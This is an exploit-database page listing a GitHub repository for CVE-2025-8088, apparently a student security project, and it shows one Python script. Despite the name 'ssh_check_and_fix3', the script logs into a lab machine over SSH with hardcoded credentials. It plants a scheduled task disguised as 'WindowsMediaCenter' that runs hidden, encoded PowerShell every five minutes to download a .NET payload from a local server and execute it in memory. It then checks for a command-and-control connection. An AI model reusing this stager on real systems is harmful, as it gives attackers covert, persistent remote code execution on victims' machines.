Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files149
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

Stage06/ssh_check_and_fix3.py

Python · 1,962 bytes
import paramiko, time, base64, sys, os

logf = r'D:\Desktop\网安程设\Amaranth_Project\Stage06\vm_task_log.txt'

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:
    ssh.connect('192.168.30.136', username='lewis', password='lewis123', timeout=15, allow_agent=False, look_for_keys=False)
    
    # Generate base64 PS command locally  
    ps_code = "$env:STAGER_MODE='persisted';[System.Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('http://192.168.30.1:8080/s.bin')).EntryPoint.Invoke($null,$null);"
    b64 = base64.b64encode(ps_code.encode('utf-16le')).decode()
    
    with open(logf, 'w', encoding='utf-8') as f:
        f.write(f'B64 len: {len(b64)}\n')
    
    # Create task
    task_tr = f'powershell -NoP -W H -Exec Bypass -Enc {b64}'
    cmd = f'schtasks /create /tn WindowsMediaCenter /tr "{task_tr}" /sc minute /mo 5 /f'
    
    stdin, stdout, stderr = ssh.exec_command(cmd, timeout=15)
    out = stdout.read()
    err = stderr.read()
    
    with open(logf, 'a', encoding='utf-8') as f:
        f.write(f'Out: {out.decode("utf-8", errors="replace")}\n')
        f.write(f'Err: {err.decode("utf-8", errors="replace")}\n')
    
    # Verify
    stdin2, stdout2, stderr2 = ssh.exec_command('schtasks /query /tn WindowsMediaCenter /fo list 2>nul', timeout=10)
    task = stdout2.read().decode('utf-8', errors='replace').strip()
    
    with open(logf, 'a', encoding='utf-8') as f:
        f.write(f'Verify:\n{task[:600]}\n')
    
    # Check netstat  
    stdin3, stdout3, stderr3 = ssh.exec_command('netstat -an | findstr 4782 | findstr EST 2>nul', timeout=10)
    ns = stdout3.read().decode('utf-8', errors='replace').strip()
    
    with open(logf, 'a', encoding='utf-8') as f:
        f.write(f'C2: {ns}\n')
    
    ssh.close()
    print('DONE')
except Exception as e:
    with open(logf, 'a', encoding='utf-8') as f:
        f.write(f'Error: {e}\n')
    print(f'Error: {e}')